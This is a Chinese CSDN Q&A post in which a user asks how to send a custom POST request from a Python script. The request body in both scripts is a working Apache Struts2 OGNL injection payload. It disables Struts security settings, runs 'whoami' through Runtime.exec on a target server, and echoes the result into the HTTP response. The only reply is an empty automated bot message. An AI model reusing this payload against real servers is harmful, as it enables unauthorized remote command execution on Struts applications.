红酒味蛋糕_ 2018-12-18 15:25 采纳率: 0%
浏览 6152

python构造post请求,并获取响应内容。

使用python脚本自定义一个post请求然后发送,并得到响应内容。
POST请求如下图,响应内容为右侧内容。
图片说明

Content-Type: application/x-www-form-urlencoded 是必须存在的.

测试过两种方法,一种是

#coding:utf-8
import requests 
import urllib  
import urllib2
import os

url = 'http://192.168.1.22:8080/example/HelloWorld.action'
d = "('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))"
headerss = { 'Content-Type' : 'application/x-www-form-urlencoded'}
r = requests.post(url,d,headerss)
print r.text
print r.headers

图片说明

第二种是将POST的数据放到report.txt文件中,尝试过把图1整个POST内容放入,失败,尝试如下代码只放定义的主体内容,失败。

#coding:utf-8
import requests 
import urllib  
import urllib2
import os

# url = 'http://192.168.1.22:8080/example/HelloWorld.action'
# d = "('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))"
# headerss = { 'Content-Type' : 'application/x-www-form-urlencoded'}
# r = requests.post(url,d,headerss)
# print r.text
# print r.headers

url = 'http://192.168.1.22:8080/example/HelloWorld.action'
jy = open('report.txt')
a = jy.read()
files = {'file': a}
print files['file']
r = requests.post(url, a)
print r.text
head = r.headers
print head

图片说明

  • 写回答

1条回答

  • CSDN-Ada助手 CSDN-AI 官方账号 2022-09-09 19:41
    关注
    不知道你这个问题是否已经解决, 如果还没有解决的话:

    如果你已经解决了该问题, 非常希望你能够分享一下解决方案, 以帮助更多的人 ^-^
    评论

报告相同问题?

悬赏问题

  • ¥15 无线电能传输系统MATLAB仿真问题
  • ¥50 如何用脚本实现输入法的热键设置
  • ¥20 我想使用一些网络协议或者部分协议也行,主要想实现类似于traceroute的一定步长内的路由拓扑功能
  • ¥30 深度学习,前后端连接
  • ¥15 孟德尔随机化结果不一致
  • ¥15 apm2.8飞控罗盘bad health,加速度计校准失败
  • ¥15 求解O-S方程的特征值问题给出边界层布拉休斯平行流的中性曲线
  • ¥15 谁有desed数据集呀
  • ¥20 手写数字识别运行c仿真时,程序报错错误代码sim211-100
  • ¥15 关于#hadoop#的问题